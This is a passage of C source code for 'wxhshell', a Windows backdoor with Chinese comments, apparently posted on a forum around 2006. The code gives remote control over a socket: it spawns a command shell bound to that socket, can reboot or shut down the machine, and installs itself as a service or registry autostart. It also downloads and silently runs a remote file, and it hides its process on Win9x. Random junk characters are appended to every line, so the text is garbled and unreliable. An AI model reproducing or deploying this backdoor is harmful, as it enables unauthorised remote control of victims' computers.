    switch(cmd[0]) { yS"; q  
  |)pgUI2O[  
  // 帮助 "v[?`<53^l  
  case '?': { |$QL>{81  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Fq`wx  
    break; rvwfQ'14  
  } .4cOMiG  
  // 安装 MU#$tXmnC  
  case 'i': { \+I+Lrj%  
    if(Install()) &h67LMD!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^hIKDc!.m  
    else 4SGF8y@WU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t=6Wk4  
    break; SHt#%3EU  
    } 8pE0ANbq  
  // 卸载 MoP,a9p  
  case 'r': { j|c6BdROl  
    if(Uninstall()) m L,El2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L\/YS;Y  
    else = k|hH~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y|O)i I/g  
    break; P;~P:qKd  
    } Ag@R60#  
  // 显示 wxhshell 所在路径 d\ {a&\v  
  case 'p': { N^U<;O?YDW  
    char svExeFile[MAX_PATH]; $P7G,0-  
    strcpy(svExeFile,"\n\r"); H>Ws)aCq  
      strcat(svExeFile,ExeFile); lk. ;  
        send(wsh,svExeFile,strlen(svExeFile),0); }rbsarG@  
    break; [R9!Tz  
    } oHj64fE9  
  // 重启 U.0bbr  
  case 'b': { \[5mBuk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +/Vi"  
    if(Boot(REBOOT)) ypA)G/;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OK1f Y`$z  
    else { n?z^"vv$i  
    closesocket(wsh); AfOq?V  
    ExitThread(0); O:86*  
    }  U<Z\jT[  
    break; \&)k{P>=  
    } V9r58hbVT  
  // 关机 {I~[a#^  
  case 'd': { QnPgp(d <  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MI<XLn!*  
    if(Boot(SHUTDOWN)) z6 A`/ jF}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u, Rhm-`  
    else { Vo-]&u&cr  
    closesocket(wsh); 4}t&AW4  
    ExitThread(0); v*.#LJEm  
    } Df L>fk  
    break; AG==A&d>$  
    } 4t;m^Iv  
  // 获取shell d;c<" +  
  case 's': { DHO+JtO  
    CmdShell(wsh); q*kieqG  
    closesocket(wsh); SjRR8p<   
    ExitThread(0); !&=%#i  
    break; D8I)3cXa'  
  } zcTY"w\b  
  // 退出 :1JICxAU  
  case 'x': { qf qp}g\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y =BXV7\  
    CloseIt(wsh); af WEt -  
    break; oL 69w1  
    } bAl0z)p  
  // 离开  GP/G v  
  case 'q': { ;zl/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); av*M #  
    closesocket(wsh); gc6T`O-_;  
    WSACleanup(); 0XNj! ^&  
    exit(1); T2$V5RyX  
    break; .Iret :  
        } !agtgS$qII  
  } 1n86Mp1.e  
  } $EuWQq7OI2  
: %hxg  
  // 提示信息 ~"ij,Op,3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yt-F2Z&  
} wc ! v /A  
  } L beMP  
0- 'f1 1S  
  return; rLm:qu(F1  
} ZdJer6:Z}  
?-e'gC  
// shell模块句柄 b@&ydgmaQ  
int CmdShell(SOCKET sock) 43?J~}<Vs  
{ +J~q:b.  
STARTUPINFO si; XS'0fq a  
ZeroMemory(&si,sizeof(si)); D(]])4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N>A*N,+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #(`@D7S"  
PROCESS_INFORMATION ProcessInfo; h""a#n)q}`  
char cmdline[]="cmd"; FS vtiNW<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I@f">&^  
  return 0; Cl+TjmOV\`  
} #VwA?$4g`  
q;kN+NK64  
// 自身启动模式 Wo^r#iRko  
int StartFromService(void) vG<JOxP  
{ >iCkvQ  
typedef struct Qs*6wF  
{ M!s@w%0?'  
  DWORD ExitStatus; \q8D7/q  
  DWORD PebBaseAddress; =lf&mD _/  
  DWORD AffinityMask; Hkv4t5F  
  DWORD BasePriority; -pRyN]YD  
  ULONG UniqueProcessId; _S(]/d(c  
  ULONG InheritedFromUniqueProcessId; 5[Ryc[  
}   PROCESS_BASIC_INFORMATION;  uT}Jw  
| ZI~#V  
PROCNTQSIP NtQueryInformationProcess; g8{?;  
fDdTs@)6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f(O`t}Ed  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FH'jP`  
N>fC"  
  HANDLE             hProcess; xwH+Q7O&l  
  PROCESS_BASIC_INFORMATION pbi; SRN:!-  
!S/hH%C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RPvOup  
  if(NULL == hInst ) return 0; !@_( W   
!8|]R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); up~l4]b+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %rQ5 <U  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {)t6DH#  
*6)u5  
  if (!NtQueryInformationProcess) return 0; %^l77 :O  
m4@y58n=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dJ#. m  
  if(!hProcess) return 0; !Cj1:P  
:zC'jceO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m<BL/ 7  
nFl=D=50-  
  CloseHandle(hProcess); AcN~Q/xU  
 {Y9m;b,X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c 25wm\\  
if(hProcess==NULL) return 0; W?"Z>tgp  
yD`{9'L -  
HMODULE hMod; >?,arER  
char procName[255]; ?wps_XU  
unsigned long cbNeeded; lHpo/ R :  
[)`9euR%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :\*hAV1i  
N1UE u,j  
  CloseHandle(hProcess);  -> -  
gFvFd:"uZ  
if(strstr(procName,"services")) return 1; // 以服务启动 o_gpBaWD  
y @AKb  
  return 0; // 注册表启动 S{Au%Rs  
} xXK7i\ny  
HnVUG4yZTD  
// 主模块 i4.s_@2Y  
int StartWxhshell(LPSTR lpCmdLine) S\Qh#y FT  
{ #](k,% 2  
  SOCKET wsl; 4];Qpln  
BOOL val=TRUE; x#e(&OjN7  
  int port=0; Nh41o0  
  struct sockaddr_in door; #3$U&|`  
%2<chq  
  if(wscfg.ws_autoins) Install(); IPcAE!h6zN  
k 6~k  
port=atoi(lpCmdLine); :&`Yz   
c3|;'s  
if(port<=0) port=wscfg.ws_port; yov:JnWo  
[^W4%S  
  WSADATA data; J1"u,HF*(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "2CiW6X[M  
?|+bM`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   CS cM;U=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5/mW:G,&  
  door.sin_family = AF_INET; "HVwm>qEi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B[-%A!3 F  
  door.sin_port = htons(port); 0At??Z py  
VVJhQbP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C4Q ^WU+$j  
closesocket(wsl); (@M=W.M#  
return 1; H(]lqvO  
} bE^Z;q19  
L5cNCWpo  
  if(listen(wsl,2) == INVALID_SOCKET) { KbH#g>.oB  
closesocket(wsl); [kFX>G4  
return 1; ~sAINV>A  
} &P!^k0NJR  
  Wxhshell(wsl); ]xf{.z  
  WSACleanup(); oCSf$g8q  
m0F-[k3)  
return 0; !cnH|ePbI  
f9JD_hhP'  
} s.KJYP  
]&VD$Z984r  
// 以NT服务方式启动 U%_a@&<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I~"-  
{ rN{&$+"2  
DWORD   status = 0; )sB`!:~HjP  
  DWORD   specificError = 0xfffffff; "C=HBJdYB5  
u[s+YGS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jzEimKDE's  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GG;M/}E9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .6$ST Ksr  
  serviceStatus.dwWin32ExitCode     = 0; u|8`=  
  serviceStatus.dwServiceSpecificExitCode = 0; pa+^5N  
  serviceStatus.dwCheckPoint       = 0; GFlsI-*`  
  serviceStatus.dwWaitHint       = 0; fQuphMOl6  
$F G4wA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V}9wx%v  
  if (hServiceStatusHandle==0) return; RPaB4>  
:n'QN Gj  
status = GetLastError(); gNLjk4H,S[  
  if (status!=NO_ERROR) #JuO  
{ w ^`n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r-Z'  
    serviceStatus.dwCheckPoint       = 0; K~,,xsy,G&  
    serviceStatus.dwWaitHint       = 0; D9H|]W~   
    serviceStatus.dwWin32ExitCode     = status; 3u{[(W}08  
    serviceStatus.dwServiceSpecificExitCode = specificError; PU?kQZU~)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kHz3_B9 [  
    return; iyH<!>a  
  } [(ty{  
Di-"y,[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z0g]nYN%  
  serviceStatus.dwCheckPoint       = 0; ,Z>RvLl  
  serviceStatus.dwWaitHint       = 0; _7$j>xX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0yAvAx  
} Jz:d\M~j5  
s977k2pp-  
// 处理NT服务事件,比如:启动、停止 r*+9<8-ZX<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &% M^:WT  
{ 0U`Ic_.  
switch(fdwControl) Jz%&-e3  
{ :?RK>}4|F  
case SERVICE_CONTROL_STOP: S~Q7>oNm  
  serviceStatus.dwWin32ExitCode = 0; Z/beROW)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,~G _3Oz  
  serviceStatus.dwCheckPoint   = 0; CF42KNq  
  serviceStatus.dwWaitHint     = 0; YLobBtXc9  
  { Ubn5tN MK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i7fpl  
  } b>2u>4  
  return; V!},a@>p  
case SERVICE_CONTROL_PAUSE: 'd6hQ4Vw4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k,?Y`s  
  break; z=ppNP0  
case SERVICE_CONTROL_CONTINUE: Nb]qY>K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )b!q  
  break; <o?qpW$,>  
case SERVICE_CONTROL_INTERROGATE: YT:<AJm  
  break; wc__g8?'  
}; UdL`.D,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2s 6Vy  
} S~6<'N&[  
HHEFX9u  
// 标准应用程序主函数 &LL81u6=S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +p<Y)Z( >6  
{ /;.M$}Z>`  
P9%9/ B:-  
// 获取操作系统版本 ]"CA P%  
OsIsNt=GetOsVer(); }JlQQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z>y,}#D?C  
Vx0V6{JX  
  // 从命令行安装 P"i qP|  
  if(strpbrk(lpCmdLine,"iI")) Install(); bQ .y,+  
lsio\ $  
  // 下载执行文件 hgVwoZ{`]  
if(wscfg.ws_downexe) { UZ] (X/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rSEJ2%iF*  
  WinExec(wscfg.ws_filenam,SW_HIDE); Zs{ `Yf^Q  
} Ip2JzE  
%0u7pk  
if(!OsIsNt) { h/_z QR-  
// 如果时win9x,隐藏进程并且设置为注册表启动 !J2Lp  
HideProc(); 7Q[P  
StartWxhshell(lpCmdLine); WMUw5h  
} ]e"NJkcm  
else /+IR^WG#C}  
  if(StartFromService()) n$=n:$`q  
  // 以服务方式启动 BC4u,4S  
  StartServiceCtrlDispatcher(DispatchTable); a[#4Oq/t$  
else f%@Y XGf  
  // 普通方式启动 t"BpaA^gO  
  StartWxhshell(lpCmdLine); ekAGzu  
;TW@{re  
return 0; ,2kWj7H%7  
}
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只看该作者 1 发表于: 2006-10-10
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